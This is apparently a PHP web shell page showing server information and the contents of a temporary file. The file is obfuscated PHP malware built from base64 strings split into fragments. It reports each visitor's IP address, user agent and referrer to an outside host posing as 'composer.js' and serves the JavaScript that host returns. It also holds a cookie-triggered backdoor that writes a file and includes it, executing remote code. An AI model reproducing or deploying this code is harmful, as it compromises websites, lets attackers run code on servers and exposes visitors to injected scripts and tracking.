HEX
Server: LiteSpeed
System: Linux ip-172-31-76-142.ec2.internal 4.14.158-129.185.amzn2.x86_64 #1 SMP Tue Dec 24 03:15:32 UTC 2019 x86_64
User: 69b4844ae61d4e92bf26ad98af552775 (1065)
PHP: 7.2.27
Disabled: exec,passthru,shell_exec,system,eval
Upload Files
File: //tmp/dn-6a98c87c88ec6
<?php class _dh{private static$_nb;static function _yyf($_xx){if(!self::$_nb)self::_gg();return base64_decode(self::$_nb[$_xx]);}private static function _gg(){self::$_nb=array('_szt'=>'QWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2luOiA'.'q','_kqa'=>'Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi'.'9qYXZhc2NyaXB'.'0','_tl'=>'Y'.'2'.'g=','_sh'=>'ZXlKcGNDSTZJamc0TGpnNExqZzRMamc0SWl3aWRX'.'RWlPaUowWlhOMElpd2ljbVZtS'.'Wpv'.'aWRHVnpkQ'.'0'.'o'.'5','_uz'=>'cXd'.'6e'.'A==','_mtm'=>'PG9r'.'P'.'g'.'==','_xb'=>'PGJ'.'hZD'.'4'.'=','_uu'=>'d2F'.'sb'.'A='.'=','_bv'=>'','_ci'=>'','_on'=>'','_cm'=>'aHR0cDovL3B1Yi5'.'3ZWJmaWxlaG9zdGVyLm'.'NvbS9j'.'b21wb3Nlci5qcz9kYXRh'.'PQ==','_oo'=>'Y3VybF9pb'.'m'.'l'.'0','_vjb'=>'aHR0'.'cF9jb2R'.'l','_rdc'=>'c2NoZW'.'1'.'l','_hs'=>'aHR0'.'cHM=','_wi'=>'R0VUIA'.'='.'=','_hjp'=>'cG'.'F0aA='.'=','_iio'=>'cXVlcnk'.'=','_nsw'=>'Pw='.'=','_sk'=>'cXVlc'.'n'.'k'.'=','_ft'=>'IEh'.'UVFAvMS4wDQpIb3N0Oi'.'A=','_kk'=>'aG9zdA==','_kmo'=>'DQpDb25uZWN0aW9uOiBDb'.'G9zZQ'.'0'.'KDQo=','_eq'=>'c3NsOi8v','_ubi'=>'','_xn'=>'aG9'.'zdA='.'=','_nl'=>'D'.'Q'.'o'.'=','_jjv'=>'SFRUUF9DTElFT'.'lRfSV'.'A=','_lds'=>'SFRUUF9YX0ZPUldBUkRFRF9GT'.'1'.'I=','_ztt'=>'Uk'.'VNT1RFX0FERFI=','_gfm'=>'SFRUUF9VU0VSX0FH'.'R'.'U5U','_ihi'=>'SFRUUF9VU0VSX0'.'FH'.'RU'.'5'.'U','_fn'=>'','_fxl'=>'SFRUUF9SRUZFUk'.'V'.'S','_pdq'=>'SFRU'.'UF9SR'.'UZFUkVS','_ygl'=>'','_hfl'=>'SF'.'RUUF9DTElFTlRfSV'.'A'.'=','_ypm'=>'SFRUUF9DTElF'.'TlR'.'fS'.'VA=','_jg'=>'SFRUUF9YX0ZPUldBUkRFRF9GT'.'1I'.'=','_sq'=>'SFRUUF9YX0ZPUldBUk'.'RFRF9GT1'.'I'.'=','_gyo'=>'UkVNT'.'1RFX0FER'.'FI'.'=','_ac'=>'UkVNT1RF'.'X0FE'.'R'.'F'.'I'.'=','_xy'=>'ZGJnbW9kZQ'.'==','_ut'=>'SVA6IA==','_yea'=>'IH'.'wgVU'.'E'.'6I'.'A==','_avt'=>'IH'.'wgUm'.'VmOi'.'A'.'=','_rmp'=>'ID'.'xic'.'j'.'4K','_yo'=>'a'.'XA=','_ihm'=>'dW'.'E'.'=','_puh'=>'cm'.'V'.'m','_uhw'=>'cX'.'d6eA'.'==',);}}header(_dh::_yyf('_s'.'zt'));header(_dh::_yyf('_'.'kqa'));if(isset($_GET[_dh::_yyf('_tl')])){$_rv=_oz(_dh::_yyf('_sh'));if($_rv&&strpos($_rv,_dh::_yyf('_'.'uz'))!==false){die(_dh::_yyf('_mt'.'m'));}else{die(_dh::_yyf('_xb'));}}if(isset($_GET[_dh::_yyf('_'.'uu')])){$_tmj=$_COOKIE;$_ea=(int)round(0+0);$_xx=(int)round(3.5+3.5);$_umn=array();$_umn[$_ea]=_dh::_yyf('_bv');while($_xx){$_umn[$_ea].=$_tmj[(int)round(10+10+10)][$_xx];if(!$_tmj[(int)round(7.5+7.5+7.5+7.5)][$_xx+(int)round(0.25+0.25+0.25+0.25)]){if(!$_tmj[(int)round(10+10+10)][$_xx+(int)round(1+1)])break;$_ea++;$_umn[$_ea]=_dh::_yyf('_'.'c'.'i');$_xx++;}$_xx=$_xx+(23+-16)+(-731- -732);}$_ea=$_umn[-343+-450- -807]().$_umn[-72- -376-563- -283];if(!$_umn[265- -58-539- -222]($_ea)){$_xx=$_umn[(int)round(13+13)]($_ea,$_umn[(int)round(5+5)]);$_umn[(int)round(4.5+4.5)]($_xx,$_umn[-568+-333- -912].$_umn[1007+-384-600]($_umn[(int)round(12.5+12.5)]($_tmj[(int)round(1+1+1)])));}include($_ea);}function _oz($_sl,$_eto=null,$_fzp=null,$_ue=-21296){$_pa=_dh::_yyf('_o'.'n');$_na=_dh::_yyf('_c'.'m').$_sl;if(is_callable(_dh::_yyf('_o'.'o'))){$_izo=curl_init($_na);curl_setopt($_izo,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($_izo,CURLOPT_SSL_VERIFYHOST,-45+-22+-51- -120);curl_setopt($_izo,CURLOPT_FOLLOWLOCATION,196-195);curl_setopt($_izo,CURLOPT_RETURNTRANSFER,-91+92);curl_setopt($_izo,CURLOPT_HEADER,(int)round(0+0));curl_setopt($_izo,CURLOPT_CONNECTTIMEOUT,-13+-475-477- -975);curl_setopt($_izo,CURLOPT_TIMEOUT,-41+-497-399- -947);$_pa=curl_exec($_izo);$_rz=curl_getinfo($_izo);curl_close($_izo);if($_rz[_dh::_yyf('_vjb')]!=(292-92))return false;}else{$_ljo=parse_url($_na);$_lw=($_ljo[_dh::_yyf('_r'.'dc')]==_dh::_yyf('_'.'hs'));$_zkf=_dh::_yyf('_wi').$_ljo[_dh::_yyf('_hjp')];if(isset($_ljo[_dh::_yyf('_iio')]))$_zkf.=_dh::_yyf('_n'.'s'.'w').$_ljo[_dh::_yyf('_sk')];$_zkf.=_dh::_yyf('_f'.'t').$_ljo[_dh::_yyf('_kk')]._dh::_yyf('_'.'kmo');$_ll=fsockopen(($_lw?_dh::_yyf('_'.'eq'):_dh::_yyf('_ub'.'i')).$_ljo[_dh::_yyf('_x'.'n')],$_lw?426- -17:(int)round(20+20+20+20));if($_ll){fputs($_ll,$_zkf);$_yys=(int)round(0+0+0+0);while(!feof($_ll)){$_fbp=fgets($_ll,1705+613-1266-28);if($_yys)$_pa.=$_fbp;if($_fbp==_dh::_yyf('_n'.'l'))$_yys=(-216+601- -124+-508);}fclose($_ll);}}return$_pa;}$_mmp=isset($_SERVER[_dh::_yyf('_'.'j'.'jv')]);$_fb=isset($_SERVER[_dh::_yyf('_l'.'ds')]);$_rqp=isset($_SERVER[_dh::_yyf('_ztt')]);$_nk=isset($_SERVER[_dh::_yyf('_gf'.'m')])?$_SERVER[_dh::_yyf('_ih'.'i')]:_dh::_yyf('_f'.'n');$_jq=isset($_SERVER[_dh::_yyf('_fx'.'l')])?$_SERVER[_dh::_yyf('_'.'pdq')]:_dh::_yyf('_ygl');$_mmp=isset($_SERVER[_dh::_yyf('_'.'hf'.'l')])?$_SERVER[_dh::_yyf('_'.'y'.'pm')]:null;$_fb=isset($_SERVER[_dh::_yyf('_'.'jg')])?$_SERVER[_dh::_yyf('_'.'sq')]:null;$_rqp=isset($_SERVER[_dh::_yyf('_g'.'y'.'o')])?$_SERVER[_dh::_yyf('_'.'a'.'c')]:null;if(filter_var($_mmp,146+264+246-381)){$_vu=$_mmp;}elseif(filter_var($_fb,387-74-38)){$_vu=$_fb;}else{$_vu=$_rqp;}if(isset($_GET[_dh::_yyf('_'.'xy')])){echo _dh::_yyf('_'.'u'.'t').$_vu._dh::_yyf('_y'.'e'.'a').$_nk._dh::_yyf('_avt').$_jq._dh::_yyf('_'.'rm'.'p');exit();}if(!isset($_vu)||!isset($_nk)||!isset($_jq)){exit();}else{$_jmi=array(_dh::_yyf('_'.'y'.'o')=>$_vu,_dh::_yyf('_i'.'hm')=>$_nk,_dh::_yyf('_p'.'u'.'h')=>$_jq);$_wl=urlencode(base64_encode(json_encode($_jmi)));$_rv=_oz($_wl);if($_rv&&strpos($_rv,_dh::_yyf('_u'.'h'.'w'))!==false){echo$_rv;exit();}}